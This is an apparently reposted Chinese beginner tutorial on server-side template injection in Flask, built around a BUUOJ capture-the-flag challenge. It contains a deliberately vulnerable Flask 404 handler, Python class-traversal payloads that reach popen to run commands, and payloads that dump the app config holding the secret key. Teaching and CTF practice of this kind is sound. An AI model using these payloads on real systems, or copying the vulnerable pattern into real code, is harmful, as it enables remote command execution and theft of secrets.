小白必看!SSTI模板注入讲解与真题实操

admin 2022年2月14日12:28:39评论214 views字数 1765阅读5分53秒阅读模式

0x00 什么是SSTI模板注入?

1. SSTI模板注入(Server-Side Template Injection),通过与服务端模板的 输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。

2.造成的原因与利用条件:网站由数据与模板框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,不同的模板可以给人不同的视觉感受,但是当模板存在可控的参数变量或模板代码内有模板的调试功能,可能会导致ssti模板注入,针对大多数脚本类型均存在该注入。常见为python的CTF考点较多

3.危害有哪些?可造成文件读取,命令执行,代码执行等 paylaod解析参考:小白必看!SSTI模板注入讲解与真题实操

0x01 案例理解SSTI

SSTI注入涉及到的敏感函数词组:flask render_template_string

Python案例:

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3> #%s获取404_url参数下列字段内容,从而输入可控变量注入
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)

可被python脚本执行,存在注入小白必看!SSTI模板注入讲解与真题实操通过payload类型,可RCE进行文件的读取与对本机等操作等

os._wrap_close类里有popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

0x02 CTF案例

https://buuoj.cn/小白必看!SSTI模板注入讲解与真题实操题目页面:小白必看!SSTI模板注入讲解与真题实操构造2-2执行,说明存在ssti注入执行小白必看!SSTI模板注入讲解与真题实操查看所有的全局变量,参考全局变量小白必看!SSTI模板注入讲解与真题实操利用全局变量获取当前应用下面的config值

url_for()函数是用于构建操作指定函数的URL get_flashed_messages()函数是获取传递过来的数据

获取全局变量
/shrine/{{url_for.__globals__}}

/shrine/{{get_flashed_messages.__globals__}}
利当前的全局变量读取:
/shrine/{{url_for.__globals__['current_app'].config}}

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
小白必看!SSTI模板注入讲解与真题实操

关注及时推送最新安全威胁资讯!

「由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,EXP 与 POC 仅仅只供对已授权的目标使用测试,对未授权目标的测试本文库不承担责任,均由本人自行承担。本文库中的漏洞均为公开的漏洞收集,若文库中的漏洞出现敏感内容产生了部分影响,请及时联系作者删除漏洞,望师傅们谅解」

原文始发于微信公众号(小艾搞安全):小白必看!SSTI模板注入讲解与真题实操

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月14日12:28:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   小白必看!SSTI模板注入讲解与真题实操https://cn-sec.com/archives/777068.html

发表评论

匿名网友 填写信息